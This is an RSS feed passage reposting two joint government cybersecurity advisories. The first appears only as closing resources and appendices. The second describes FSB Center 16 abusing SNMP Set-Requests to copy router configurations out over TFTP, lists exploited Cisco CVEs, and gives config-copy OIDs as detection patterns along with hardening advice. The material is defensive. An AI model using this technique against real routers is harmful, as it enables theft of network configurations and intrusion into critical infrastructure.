<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]></title>
<description><![CDATA[Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compr...]]></description>
<link>https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</guid>
<pubDate>Sat, 25 Jul 2026 08:51:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors</p>
<h2><strong>Executive summary</strong></h2>
<p>Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure</a> Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [<a href="https://www.cisa.gov/#Work1">1</a>] </p>
<p>This CSA is being released by the following authoring and co-sealing agencies: </p>
<ul type="square">
<li>United States National Security Agency (NSA)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#Foot1"><sup>1</sup></a> </li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#Foot2"><sup>2 </sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#Foot3"><sup>3</sup></a> </li>
<li>Estonian Information System Authority (RIA)<a href="https://www.cisa.gov/#Foot4"><sup>4</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#Foot5"><sup>5</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#Foot6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#Foot7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#Foot8"><sup>8 </sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#Foot9"><sup>9</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#Foot10"><sup>10 </sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#Foot11"><sup>11 </sup></a></li>
</ul>
<p>The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.</p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%201%20FSB%20Center%2016%20activity%20and%20recommended%20mitigation%20actions.png?itok=oYxdyna4" width="1024" height="576" alt="Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.">



</div>
      <figcaption class="c-figure__caption">Figure 1: FSB Center 16 activity and recommended mitigation actions</figcaption>
  </figure>
<p>Download the PDF version of this report:</p>
<ul>
<li><a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/0/CSA_IMPROVE_ROUTER_HYGIENE.PDF" target="_blank">Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting</a> (PDF, 816KB)</li>
</ul>
<h2><strong>Cybersecurity industry tracking </strong></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: </p>
<ul type="disc">
<li>Berserk Bear </li>
<li>Energetic Bear</li>
<li>Crouching Yeti </li>
<li>Dragonfly</li>
<li>Ghost Blizzard</li>
<li>Static Tundra</li>
</ul>
<p>Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.</p>
<h2><strong>Targeting details</strong></h2>
<p>Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:</p>
<ul type="disc">
<li>Communications,</li>
<li>Defense Industrial Base,</li>
<li>Energy,</li>
<li>Financial Services,</li>
<li>Government Services and Facilities, especially organizations at the state and local level, and</li>
<li>Healthcare and Public Health.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note: </strong>This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a><a href="https://www.cisa.gov/#Foot12"><sup>12</sup></a> framework, version 19. See <a href="https://www.cisa.gov/#AppA"><strong>Appendix A</strong></a> for tables of the activity mapped to MITRE ATT&amp;CK tactics and techniques. This advisory also uses MITRE DEFEND<sup>TM</sup> version 1.4.0.</p>
<p>The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a>]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a>] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [<a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>]:</p>
<ul type="disc">
<li>Copy its configuration to a file, often called “config.bkp” or “output.txt” [<a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a>].</li>
<li>Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a>].</li>
</ul>
<p>While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [<a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a>]: </p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2018-0171" target="_blank">CVE-2018-0171</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a><a href="https://www.cisa.gov/#Foot13"><sup>13</sup></a></li>
</ul>
<p>Many of these TTPs overlap with activity by other malicious cyber actors, such as <a href="https://media.defense.gov/2025/Aug/22/2003786665/-1/-1/0/CSA_COUNTERING_CHINA_STATE_ACTORS_COMPROMISE_OF_NETWORKS.PDF" target="_blank">Salt Typhoon</a>. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.</p>
<h2><strong>Mitigation actions</strong></h2>
<p>The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:</p>
<ul>
<li>Disable Cisco Smart Install on all devices [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work2">2</a>]</li>
<li>Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work3">3</a>]
<ul>
<li>Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.</li>
<li>SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [<a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a>, <a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a>].</li>
</ul>
</li>
<li>Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>].
<ul>
<li>Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [<a href="https://www.cisa.gov/#Work4">4</a>]</li>
<li>Monitor for unusual credentials that do not conform to standard organizational naming conventions [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>]. </li>
<li> Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
</ul>
</li>
<li>Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work5">5</a>] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>].<br>
<ul type="square">
<li>Example OIDs include:
<ul>
<li>1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)</li>
<li>1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) </li>
</ul>
</li>
</ul>
</li>
<li>Restrict management protocols [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a>].
<ul>
<li>Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
<li>On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
<ul>
<li>User Datagram Protocol (UDP) port 69 (TFTP) </li>
<li>Transmission Control Protocol (TCP) port 4786 (SMI)</li>
<li>UDP ports 161 and 162 (SNMP)</li>
<li>TCP/UDP ports 10161 and 10162 (SNMPv3)</li>
</ul>
</li>
</ul>
</li>
<li>Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. <br>
<ul type="square">
<li>Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [<a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a>].
<ul>
<li>U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost <a href="https://www.cisa.gov/cyber-hygiene-services">Cyber Hygiene services</a>.</li>
<li>U.S. Defense Industrial Base organizations should consider signing up for <a href="https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/DIB-Cybersecurity-Services/" target="_blank">NSA’s DIB Cybersecurity Services</a>.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<p><strong>United States:</strong></p>
<ul type="disc">
<li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia">Russia Threat Overview and Advisories</a></li>
<li><a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">Network Infrastructure Security Guide</a></li>
</ul>
<p><strong>Canada:</strong></p>
<ul type="disc">
<li><a href="https://www.cyber.gc.ca/en/guidance/routers-cyber-security-best-practices-itsap80019" target="_blank">Routers cyber security best practices (ITSAP.80.019)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/security-considerations-edge-devices-itsm80101" target="_blank">Security considerations for edge devices (ITSM.80.101)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/guidance-securely-configuring-network-protocols-itsp40062" target="_blank">Guidance on securely configuring network protocols (ITSP.40.062)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/baseline-security-requirements-network-security-zones-version-20-itsp80022" target="_blank">Baseline security requirements for network security zones (ITSP.80.022)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/top-10-it-security-actions-protect-internet-connected-networks-and-information-itsm10089" target="_blank">Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)</a></li>
</ul>
<h2><strong>Works cited</strong></h2>
<p>[<a class="ck-anchor">1</a>] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">https://www.ic3.gov/PSA/2025/PSA250820</a></p>
<p>[<a class="ck-anchor">2</a>] NSA. Cisco Smart Install Protocol Misuse. 2017. <a href="https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF" target="_blank">https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF</a></p>
<p>[<a class="ck-anchor">3</a>] NSA. Network Infrastructure Security Guide. 2023. <a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF</a></p>
<p>[<a class="ck-anchor">4</a>] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. <a href="https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF" target="_blank">https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF</a></p>
<p>[<a class="ck-anchor">5</a>] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. <a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF" target="_blank">https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF</a></p>
<h2><strong>Footnotes</strong></h2>
<p><a class="ck-anchor"><sup>1</sup></a><sup>  </sup>Národní úřad pro kybernetickou a informační bezpečnost</p>
<p><a class="ck-anchor"><sup>2 </sup></a> Forsvarets Efterretningstjeneste</p>
<p><a class="ck-anchor"><sup>3</sup></a> Välisluureamet</p>
<p><a class="ck-anchor"><sup>4</sup></a> Riigi Infosüsteem Amet</p>
<p><a class="ck-anchor"><sup>5</sup></a> Sotilastiedustelu</p>
<p><a class="ck-anchor"><sup>6</sup></a> Suojelupoliisi</p>
<p><a class="ck-anchor"><sup>7</sup></a> Agence nationale de la sécurité des systèmes d’information</p>
<p><a class="ck-anchor"><sup>8</sup></a> Agenzia Informazioni e Sicurezza Esterna</p>
<p><a class="ck-anchor"><sup>9</sup></a> Agenzia Informazioni e Sicurezza Interna</p>
<p><a class="ck-anchor"><sup>10</sup></a> Służba Kontrwywiadu Wojskowego</p>
<p><a class="ck-anchor"><sup>11</sup></a> Nationellt Cybersäkerhetscenter</p>
<p><a class="ck-anchor"><sup>12</sup></a><sup> </sup>MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.</p>
<p><a class="ck-anchor"><sup>13</sup></a> <a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a> only affects end-of-life Cisco devices.</p>
<h2><strong>Disclaimer of Endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<p><strong>United States organizations</strong></p>
<ul>
<li><strong>National Security Agency (NSA)</strong>
<ul>
<li>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a> </li>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov">DIB_Defense@cyber.nsa.gov</a> </li>
<li>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov">MediaRelations@nsa.gov</a></li>
</ul>
</li>
<li><strong>Cybersecurity and Infrastructure Security Agency (CISA)</strong> and<strong> Federal Bureau of Investigation (FBI)</strong>
<ul>
<li> U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a>, its 24/7 Operations Center (<a href="mailto:report@cisa.gov">report@cisa.gov</a> or 888-282-0870), or your <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank">local FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. </li>
</ul>
</li>
<li><strong>United States Department of Defense Cyber Crime Center (DC3)  </strong>
<ul>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil">DC3.DCISE@us.af.mil</a> </li>
